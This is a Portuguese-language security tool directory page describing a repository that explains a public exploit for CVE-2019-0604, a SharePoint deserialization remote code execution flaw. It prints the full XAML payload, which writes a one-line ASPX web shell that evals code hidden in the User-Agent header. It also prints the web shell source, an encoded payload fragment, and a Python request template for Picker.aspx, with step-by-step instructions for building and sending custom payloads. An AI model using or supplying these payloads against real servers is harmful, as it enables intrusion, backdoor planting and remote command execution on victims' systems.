Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-0604 — Explicação detalhada do código do exploit RCE do SharePoint do k8gege cve-2019-0604-exp.py, crie seu próprio payload | Kitploit
Ferramentas/GitHubGitHub/boxhg/cve-2019-0604
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubboxhg/cve-2019-0604

CVE-2019-0604

Explicação detalhada do código do exploit RCE do SharePoint do k8gege cve-2019-0604-exp.py, crie seu próprio payload

Ver Repositório
306há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Image Pyaload Maker

一、Explicação do cve-2019-0604-exp.py do k8gege

Script do k8gege https://github.com/k8gege/CVE-2019-0604

Sinceramente, o script py do k8gege é um pouco extravagante, um monte de strings hexadecimais, dividido em payload1,2,3, que maldade!

O payload postado remotamente pelo script python, após desserialização, é um corpo de dados xml

root@kitploit:~
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
    <ObjectDataProvider.MethodParameters>
		<System:String>cmd</System:String>
		<System:String>/c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" </System:String>
    </ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

Image Pyaload Maker

Ou seja, executa remotamente o comando echo, escrevendo um arquivo up.aspx no diretório layouts do modelo do SharePoint do servidor

root@kitploit:~
cmd /c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" 

Gerou um K8飞刀专用UA一句话木马.asxp (trojan de uma linha UA especial K8飞刀), OK, shell obtido

root@kitploit:~
<%@ Page Language="Jscript" %>
<%
var pwd="tom";
var uastr=Request.UserAgent;
if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) 
{
    var code=uastr.Replace(pwd+"===","");
    eval(code,"unsafe"); 
};
%>

二、Criando seu próprio payload

Se quiser criar seu próprio payload para executar comandos remotamente, siga estes passos

  1. Baixe o programa compilado de https://github.com/boxhg/CVE-2019-0604/releases, descompacte e execute CVE20190604Forms.exe

  2. No campo de texto Cmd, adicione um comando, clique no botão "Update XML", e o comando será mesclado em xml

  3. Clique em "EncodeEntity", o programa serializará a string xml em um objeto e acionará a execução do payload. A string serializada será exibida no campo de texto "payload"

root@kitploit:~
__cp087135009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e60046005600460075002700160......
  1. Essas strings "__cp...." são o payload. Copie-as para cve-2019-0604-exp.py, modifique e substitua o payload original do k8,

  2. Ao enviar o payload para Picker.aspx, os outros parâmetros necessários podem ser obtidos através da ferramenta de proxy Burp, e então o valor do payload é passado para ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData

root@kitploit:~
...

values = {
    '__REQUESTDIGEST':YOUR_REQUESTDIGEST,
    '__EVENTTARGET':'',
    '__EVENTARGUMENT':'',
    '__spPickerHasReturnValue':'',
    '__spPickerReturnValueHolder':'',
    '__VIEWSTATE':YOUR_VIEWSTATE,
    '__VIEWSTATEGENERATOR':'',
    'ctl00$PlaceHolderDialogBodySection$ctl07$queryTextBox':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData':**YOUR_PayloadData**,
    'ctl00$PlaceHolderDialogBodySection$ctl05$OriginalEntities':'<Entities />',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityKey':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityDisplayText':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$downlevelTextBox':'&#160;',
    '__CALLBACKID':'ctl00$PlaceHolderDialogBodySection$ctl07',
    '__CALLBACKPARAM':';#;#11;#;#;#',
    '__EVENTVALIDATION':YOUR_EVENTVALIDATION
}

data = urllib.urlencode(values)

...

5、Execute o script py, boa sorte!!!

Recomenda-se usar o Burp para enviar o payload, é mais conveniente

Relacionados ao CVE-2019-0604:

https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability

https://github.com/linhlhq/CVE-2019-0604

https://github.com/k8gege/K8CScan/wiki/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-CVE-2019-0604-SharePoint-GetShell-Exploit

https://github.com/k8gege/CVE-2019-0604

Baixar ferramenta